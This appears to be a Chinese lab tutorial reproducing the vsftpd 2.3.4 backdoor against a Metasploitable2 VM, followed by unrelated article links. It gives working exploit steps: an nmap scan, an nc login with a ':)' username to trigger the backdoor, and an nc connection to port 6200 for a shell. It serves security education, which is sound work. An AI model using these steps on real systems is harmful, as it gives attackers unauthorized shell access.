VSFTP2.3.4(笑脸漏洞)
2021/12/17 6:25:57
本文主要是介绍VSFTP2.3.4(笑脸漏洞),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
一、准备工作
1、攻击机和靶机都处于NAT模式
2、攻击机:kali(192.168.252.131)
3、靶机:metasploitable2()
二、漏洞复现1、用nmap进行信息收集,输入nmap -sV 192.168.252.130,可以知道靶机开放了21端口,21端口提供ftp服务,ftp的版本信息是vsftpd 2.3.4
2、输入 nmap -p 6200 192.168.252.130,发现靶机的6200端口是关闭的
3、另外在打开一个终端,用nc来连接靶机的21端口。输入:nc 192.168.252.130 21,然后输入user为 a:),pass随便输。
4、再次查看靶机的6200端口,发现打开了
5、用nc连接靶机的6200端口,输入nc 192.168.252.130 6200,输入whoami
这篇关于VSFTP2.3.4(笑脸漏洞)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求
- 2024-10-01使用 golang 将ETH账户的资产平均分散到其他账户
- 2024-10-01JWT用户校验课程:从入门到实践
- 2024-10-01Server Component课程入门指南
- 2024-09-30Dnd-Kit学习:新手快速入门指南